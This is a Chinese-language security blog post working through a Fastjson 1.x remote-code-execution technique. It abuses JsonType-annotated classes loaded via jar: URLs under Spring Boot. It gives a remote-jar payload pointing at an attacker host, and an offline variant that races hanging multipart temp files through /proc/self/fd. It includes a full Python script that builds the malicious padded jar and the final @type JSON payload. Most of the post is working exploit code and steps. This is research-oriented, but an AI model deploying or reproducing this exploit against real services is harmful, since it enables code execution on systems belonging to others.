距离上一次手工分析漏洞+写博客还是在成为社畜前。

JsonType与新的攻击面

对于Fastjson1X而言,即使传入的@Type不在白名单里,如果这个类被JsonType注解或者是expectClass也是可以后续被loadClass类加载的。

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

问题在于之前的研究思路都局限在本地class类加载,构造gadget调用一系列getter/setter进行恶意利用,忽视了jar协议远程加载类的攻击面。

该攻击面没被发现也与日常调试环境有关。因为用 IDEA 直接启动默认走的是 AppClassLoader(普通应用类加载器),并且正常来说也不会通过 ParserConfig.defaultClassLoader 也不会显式设置为能解析 jar协议的加载器。

image-20260721120111473

探测阶段的 getResourceAsStream 只会按 classpath 相对路径查找,拉不起来远程 jar 。而在Spring FatJar 场景,默认的是org.springframework.boot.loader.LaunchedURLClassLoader。该加载器继承自URLClassLoader,因此会通过jar协议下载class至tmp目录,例如windows是:

C:\Users\<>\AppData\Local\Temp\jar_cache5413977929028160987.tmp

image-20260721144444003

关键点在于在获取到指定的class后会判断是否存在JsonType注解。

image-20260721144810559

因此构造的恶意类需要包含jsonType注解。

后续则会加载对应的jsonType类。

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

以上为checkAutoType的大致流程,在通过校验后,会拿到对应的反序列化器(JavaBeanDeserializer)并调用对应的deserialze方法。最终通过createInstance实例化,进而触发static段实现RCE。

if (constructor != null) {
    object = constructor.newInstance();
} else {
    object = beanInfo.factoryMethod.invoke(null);
}

JVM 类名命名限制

8

注意构造的类名经过checkAutoType规范化后是这样的。注意 Class.getName() 显示成jar:http:..3232270722:19005.evil!.Exploit 是因为把 / 显示成 .了。

class jar:http:..3232270722:19005.evil!.Exploit

image-20260721151031628

所以恶意类名应该构造为 class jar:http:..3232270722:19005.evil!/Exploit

命名规则具体见https://github.com/openjdk/jdk8u/blob/master/hotspot/src/share/vm/classfile/classFileParser.cpp#L4024

不相等则抛出异常:

// Checks if name in class file matches requested name
if (name != NULL && class_name != name) {
  ResourceMark rm(THREAD);
  Exceptions::fthrow(
    THREAD_AND_LOCATION,
    vmSymbols::java_lang_NoClassDefFoundError(),
    "%s (wrong name: %s)",
    name->as_C_string(),
    class_name->as_C_string()
  );
  return nullHandle;
}

9+

jdk9+加入了额外校验, // 首/、尾/、连续 // 全部非法。

image-20260721152608539

所以这也是为什么不能直接通过http协议一把嗦打穿的原因。

Caused by: java.lang.ClassFormatError: Illegal class name "jar:http://3232270722:19005/evil!/Exploit" in class file jar:http://3232270722:19005/evil!/Exploit
        at java.base/java.lang.ClassLoader.defineClass1(Native Method)
        at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1016)
        at com.lab.vuln.LaunchedClassLoaderInitializer$JarHttpAwareClassLoader.loadClass(LaunchedClassLoaderInitializer.java:122)
        ... 15 more

不出网+JDK高版本利用

该漏洞的主要限制有两个:

  1. 需要出网
  2. 目前payload只能在JDK8利用。

这里立刻想到利用 tomcat 缓存临时文件的特性:tomcat / Spring 使用 commons-fileupload 处理 multipart,一旦上传 part 体量超过 DiskFileItemFactory.DEFAULT_SIZE_THRESHOLD(默认 10240 = 10KB),会将数据从内存落到临时文件 upload_*.tmp。攻击时故意不发送文件 part 的结束定界符,服务端会一直等待剩余内容,临时文件 FD 保持打开,再 race:

jar:file:/proc/self/fd/N!/POCN

这样无需出网 HTTP 拉 jar,也绕开 JDK9+ 对类名中 // 的限制(jar:file:/proc/... 为单斜杠路径)。

不过这个思路还有一些坑。

临时文件不完整

Commons FileUpload 的 DiskFileItem 底层用 DeferredFileOutputStream / ThresholdingOutputStream,阈值为DEFAULT_THRESHOLD:

DiskFileItemFactory.DEFAULT_SIZE_THRESHOLD = 10240  // 10KB
public Builder() {
            setBufferSize(DiskFileItemFactory.DEFAULT_THRESHOLD);
            setPath(PathUtils.getTempDirectory());
            setCharset(DEFAULT_CHARSET);
            setCharsetDefault(DEFAULT_CHARSET);
        }

超过阈值会把已有数据刷进 upload_xxxx.tmp,后续写入走磁盘文件

本来以为通过在STORED里面填充jar至10240字节的整数倍就可以缓存了,但是实际测试发现缓存的文件永远会少12字节,最终导致jar不合法类加载失败,这里让AI读了下源码:

// 前缀:\r\n--
protected static final byte[] BOUNDARY_PREFIX = {CR, LF, DASH, DASH};

// boundaryLength = 用户 boundary 长度 + 4
this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
// keepRegion = 整段 delimiter 的长度
this.keepRegion = this.boundary.length;  // 含 CRLF-- + boundary 文本

解析 body 时不是把读到的字节立刻全部写进 DiskFileItem,而是用 ItemInputStream 边读边找 下一个边界。而\r\n–为4个字节,我构造的文件上传boundary为8个字节,加起来正好是12个字节

所以在 part 尚未结束时,写路径上总会留 最后 12 字节 在未 flush 的缓冲里。后续再测试的时候把定界符增加到9字节,确实正好少了1字节(这里我已经填充垃圾字节了):

image-20260721193817336

因此正确构造是在jar后构造12个垃圾字节做占位。

classname -> fd

此外还有一个问题,由于上传的临时文件需要爆破 fd,并且受到类加载限制,我们利用的类名又要和爆破出来的fd一致。所以我这里用的方法更加暴力,就是在jar里面写入要爆破的所有fd类名,比如20到60,后续在爆破的时候同样race 20-60区间的fd即可。

生成jar的脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Build multi-entry evil-fd.jar for blind jar:file:/proc/self/fd/<N> brute force.

Default range: FD 20..60 (one class per FD):
  zip entry:   POCN.class
  internal:    jar:file:/proc/self/fd/N!/POCN
  @type:       jar:file:.proc.self.fd.N!.POCN

Padding technique (lab-proven):
  1) ZIP itself padded to exactly 10240 bytes (FileUpload sizeThreshold)
     using STORED PAD.dat *inside* the archive (still a valid zip).
  2) Append 12 garbage bytes *after* EOCD on the file on disk.
     Incomplete multipart leaves the last 12 bytes unflushed → on-disk tmp
     ≈ 10240 complete jar.

Hang can send this file as-is (already 10240+12), or hang_upload_only will
strip any post-EOCD tail and re-append 12 (no double tail).

Usage:
  python3 build_fd_jar.py                  # evil-fd.jar, fd 20..60, 10240+12
  python3 build_fd_jar.py --fd 35          # single-fd evil-fd-35.jar
  python3 hang_upload_only.py --jar evil-fd.jar
  python3 fd_bruteforce_poc.py --jar evil-fd.jar --fd-start 20 --fd-end 60

Requires: JDK8 + asm, run from poc/.
"""
from __future__ import print_function

import os
import subprocess
import sys
import zipfile
import tempfile
import shutil

HERE = os.path.dirname(os.path.abspath(__file__))
ASM = os.path.join(HERE, ".lib", "asm-9.6.jar")
BUILD = os.path.join(HERE, "build")
OUT_JAR = os.path.join(HERE, "evil-fd.jar")

DEFAULT_FD_START = int(os.environ.get("FD_START", "20"))
DEFAULT_FD_END = int(os.environ.get("FD_END", "60"))
DEFAULT_FLUSH_BLOCK = int(os.environ.get("FLUSH_BLOCK", "10240"))
DEFAULT_UNFLUSHED_TAIL = int(os.environ.get("UNFLUSHED_TAIL", "12"))
DEFAULT_MIN_JAR_SIZE = int(os.environ.get("MIN_JAR_SIZE", "0"))


def which_java():
    jdk = os.environ.get("JDK8") or os.environ.get("JAVA_HOME")
    if jdk:
        for name in ("java", "java.exe"):
            p = os.path.join(jdk, "bin", name)
            if os.path.isfile(p):
                return p
    return "java"


def which_javac():
    jdk = os.environ.get("JDK8") or os.environ.get("JAVA_HOME")
    if jdk:
        for name in ("javac", "javac.exe"):
            p = os.path.join(jdk, "bin", name)
            if os.path.isfile(p):
                return p
    return "javac"


def ensure_asm():
    if os.path.isfile(ASM):
        return
    os.makedirs(os.path.dirname(ASM), exist_ok=True)
    url = "https://repo1.maven.org/maven2/org/ow2/asm/asm/9.6/asm-9.6.jar"
    print("[gen] downloading", url)
    try:
        from urllib.request import urlretrieve
    except ImportError:
        from urllib import urlretrieve
    urlretrieve(url, ASM)


def compile_genpayload():
    os.makedirs(BUILD, exist_ok=True)
    src = os.path.join(HERE, "GenPayload.java")
    cmd = [
        which_javac(),
        "-source", "8",
        "-target", "8",
        "-encoding", "UTF-8",
        "-cp", ASM,
        "-d", BUILD,
        src,
    ]
    print("[gen]", " ".join(cmd))
    subprocess.check_call(cmd, cwd=HERE)


def gen_one(internal_name, entry_simple, out_jar, poc_cmd=None):
    cp = BUILD + os.pathsep + ASM
    cmd = [which_java(), "-cp", cp]
    if poc_cmd:
        cmd.append("-Dpoc.cmd=" + poc_cmd)
    cmd += ["GenPayload", internal_name, entry_simple, out_jar]
    subprocess.check_call(cmd, cwd=HERE)


def _zip_with_stored_pad(entries, pad_len):
    """entries: list of (name, data); pad_len: STORED PAD.dat payload size."""
    import io
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zout:
        for name, data in entries:
            if name == "PAD.dat":
                continue
            zi = zipfile.ZipInfo(filename=name)
            zi.compress_type = zipfile.ZIP_STORED
            zout.writestr(zi, data)
        if pad_len > 0:
            zi = zipfile.ZipInfo(filename="PAD.dat")
            zi.compress_type = zipfile.ZIP_STORED
            zout.writestr(zi, b"X" * pad_len)
    return buf.getvalue()


def pad_jar_to_flush_multiple(jar_path, block=DEFAULT_FLUSH_BLOCK, min_size=0):
    """
    Grow jar INSIDE the zip (STORED PAD.dat) to exact ``block`` (default 10240).
    If already larger, round up to the next multiple of block.
    Returns pure zip size (no post-EOCD tail yet).
    """
    size = os.path.getsize(jar_path)
    if block is None or block <= 0:
        print("[gen] skip flush align: block=%s size=%d" % (block, size))
        return size

    target = block
    if min_size and min_size > target:
        target = ((min_size + block - 1) // block) * block
    if size > target:
        if size % block == 0:
            target = size
        else:
            target = ((size // block) + 1) * block

    if size == target:
        print("[gen] zip size ok: %s (%d bytes pure zip)" % (jar_path, size))
        return size

    print("[gen] pad INSIDE zip %d -> exact %d (STORED PAD.dat)" % (size, target))

    with zipfile.ZipFile(jar_path, "r") as zin:
        entries = []
        for info in zin.infolist():
            if info.filename == "PAD.dat":
                continue
            entries.append((info.filename, zin.read(info.filename)))

    pad_len = max(target - size, 1)
    out = None
    for _ in range(64):
        out = _zip_with_stored_pad(entries, pad_len)
        diff = len(out) - target
        if diff == 0:
            break
        pad_len -= diff
        if pad_len < 0:
            target += block
            pad_len = max(target - size, 1)
            print("[gen]   bump target -> %d, pad_len=%d" % (target, pad_len))
    else:
        raise RuntimeError("could not hit exact size %d (last %d)" % (target, len(out)))

    if len(out) != target:
        raise RuntimeError("pad size mismatch: got %d want %d" % (len(out), target))

    with open(jar_path, "wb") as f:
        f.write(out)

    with zipfile.ZipFile(jar_path, "r") as zf:
        names = zf.namelist()
        bad = zf.testzip()
        if bad is not None:
            raise RuntimeError("padded jar corrupt at entry %s" % bad)
    print("[gen] pure zip %s -> %d bytes entries=%s" % (jar_path, len(out), names))
    return len(out)


def append_unflushed_tail(jar_path, tail=DEFAULT_UNFLUSHED_TAIL):
    """
    Append ``tail`` garbage bytes AFTER EOCD (not inside zip).
    Hang incomplete multipart leaves these last bytes unflushed → disk ≈ pure zip.
    """
    if tail is None or tail <= 0:
        return os.path.getsize(jar_path)
    with open(jar_path, "ab") as f:
        f.write(b"\n" * tail)
    final = os.path.getsize(jar_path)
    print("[gen] append +%d after EOCD -> file size %d (pure_zip + %d)"
          % (tail, final, tail))
    print("[gen] hang should send this file; expect on-disk tmp ≈ %d"
          % (final - tail))
    return final


def pad_jar_to_min_size(jar_path, min_size=DEFAULT_MIN_JAR_SIZE):
    return pad_jar_to_flush_multiple(
        jar_path, block=DEFAULT_FLUSH_BLOCK, min_size=min_size or 0)


def build_range(fd_start, fd_end, poc_cmd=None, min_size=DEFAULT_MIN_JAR_SIZE,
                flush_block=DEFAULT_FLUSH_BLOCK, unflushed_tail=DEFAULT_UNFLUSHED_TAIL):
    ensure_asm()
    compile_genpayload()
    tmpdir = tempfile.mkdtemp(prefix="fdjar_")
    try:
        class_files = []
        for fd in range(fd_start, fd_end + 1):
            entry = "POC%d" % fd
            internal = "jar:file:/proc/self/fd/%d!/%s" % (fd, entry)
            one_jar = os.path.join(tmpdir, "one_%d.jar" % fd)
            print("[gen] fd=%d internal=%s" % (fd, internal))
            gen_one(internal, entry, one_jar, poc_cmd=poc_cmd)
            with zipfile.ZipFile(one_jar, "r") as zf:
                data = zf.read(entry + ".class")
            class_files.append((entry + ".class", data))

        if os.path.isfile(OUT_JAR):
            os.remove(OUT_JAR)
        with zipfile.ZipFile(OUT_JAR, "w", compression=zipfile.ZIP_STORED) as zf:
            zf.writestr(
                "META-INF/MANIFEST.MF",
                "Manifest-Version: 1.0\r\nCreated-By: build_fd_jar.py\r\n\r\n",
            )
            for name, data in class_files:
                zf.writestr(name, data)

        pure = pad_jar_to_flush_multiple(OUT_JAR, block=flush_block, min_size=min_size or 0)
        final = append_unflushed_tail(OUT_JAR, tail=unflushed_tail)

        import io
        with open(OUT_JAR, "rb") as f:
            raw = f.read()
        zip_part = raw[:-unflushed_tail] if unflushed_tail > 0 else raw
        with zipfile.ZipFile(io.BytesIO(zip_part), "r") as zf:
            names = zf.namelist()
            nclass = sum(1 for n in names if n.startswith("POC") and n.endswith(".class"))
            if zf.testzip() is not None:
                raise RuntimeError("final zip portion corrupt")
        print("[gen] ============================================================")
        print("[gen] wrote %s" % OUT_JAR)
        print("[gen]   classes     = %d (fd %d..%d)" % (nclass, fd_start, fd_end))
        print("[gen]   pure zip    = %d bytes (threshold pad)" % pure)
        print("[gen]   +tail       = %d bytes after EOCD" % unflushed_tail)
        print("[gen]   file total  = %d bytes" % final)
        print("[gen]   @type e.g.  = jar:file:.proc.self.fd.%d!.POC%d" % (fd_start, fd_start))
        print("[gen] hang:")
        print("[gen]   python3 hang_upload_only.py --jar %s" % OUT_JAR)
        print("[gen] brute:")
        print("[gen]   python3 fd_bruteforce_poc.py --jar %s --fd-start %d --fd-end %d"
              % (OUT_JAR, fd_start, fd_end))
        print("[gen] ============================================================")
    finally:
        shutil.rmtree(tmpdir, ignore_errors=True)


def main():
    import argparse
    global OUT_JAR, DEFAULT_FLUSH_BLOCK

    ap = argparse.ArgumentParser(
        description="Build evil-fd.jar (default fd 20..60, zip 10240 + 12 after EOCD)")
    ap.add_argument(
        "--fd",
        type=int,
        default=None,
        help="single fd only (e.g. 35). Omit to build the range.",
    )
    ap.add_argument(
        "--fd-start",
        type=int,
        default=DEFAULT_FD_START,
        help="range start (default %d)" % DEFAULT_FD_START,
    )
    ap.add_argument(
        "--fd-end",
        type=int,
        default=DEFAULT_FD_END,
        help="range end inclusive (default %d)" % DEFAULT_FD_END,
    )
    ap.add_argument(
        "-o", "--output",
        default=None,
        help="output path (default evil-fd.jar or evil-fd-<N>.jar)",
    )
    ap.add_argument(
        "--min-size",
        type=int,
        default=DEFAULT_MIN_JAR_SIZE,
        help="optional floor before flush-block align",
    )
    ap.add_argument(
        "--flush-block",
        type=int,
        default=DEFAULT_FLUSH_BLOCK,
        help="pure zip size target / FileUpload threshold (default %d)"
             % DEFAULT_FLUSH_BLOCK,
    )
    ap.add_argument(
        "--tail",
        type=int,
        default=DEFAULT_UNFLUSHED_TAIL,
        help="bytes appended AFTER EOCD (default %d). Use 0 for pure zip only."
             % DEFAULT_UNFLUSHED_TAIL,
    )
    args = ap.parse_args()
    DEFAULT_FLUSH_BLOCK = args.flush_block

    default_cmd = "touch /tmp/RCE_PROOF_FD"
    poc_cmd = default_cmd

    env_fd = os.environ.get("FD")
    if args.fd is None and env_fd:
        args.fd = int(env_fd)

    if args.fd is not None:
        out = args.output or os.path.join(HERE, "evil-fd-%d.jar" % args.fd)
        OUT_JAR = out
        print("[gen] single-fd mode fd=%d -> %s (zip %d + tail %d)"
              % (args.fd, out, args.flush_block, args.tail))
        build_range(
            args.fd, args.fd,
            poc_cmd=poc_cmd,
            min_size=args.min_size,
            flush_block=args.flush_block,
            unflushed_tail=args.tail,
        )
        print("[gen] @type: jar:file:.proc.self.fd.%d!.POC%d" % (args.fd, args.fd))
    else:
        if args.output:
            OUT_JAR = args.output
        print("[gen] range mode fd=%d..%d -> %s (zip %d + tail %d)"
              % (args.fd_start, args.fd_end, OUT_JAR, args.flush_block, args.tail))
        build_range(
            args.fd_start, args.fd_end,
            poc_cmd=poc_cmd,
            min_size=args.min_size,
            flush_block=args.flush_block,
            unflushed_tail=args.tail,
        )


if __name__ == "__main__":
    main()

最后不断发送请求爆破fd即可实现不出网+JDK高版本利用:

{"@type":"jar:file:.proc.self.fd.<XX>!.POC<XX>","x":1}

image-20260721194659168

结语

标题党了,其实还是会有竞争fd不成功的限制)并且在盲盒场景这样最多只能打1次,因为利用完会产生很多fd :(

其它思路可以想到的是我们可以先通过 jar:http:..3232270722:19005.evil!.Exploit落盘临时文件,因为高版本JDK的限制只是不在加载带有 //的类了,但是恶意class是会落到临时目录下的,后续通过file协议遍历fd似乎也有机会。不过这个思路要解决的问题就更多了。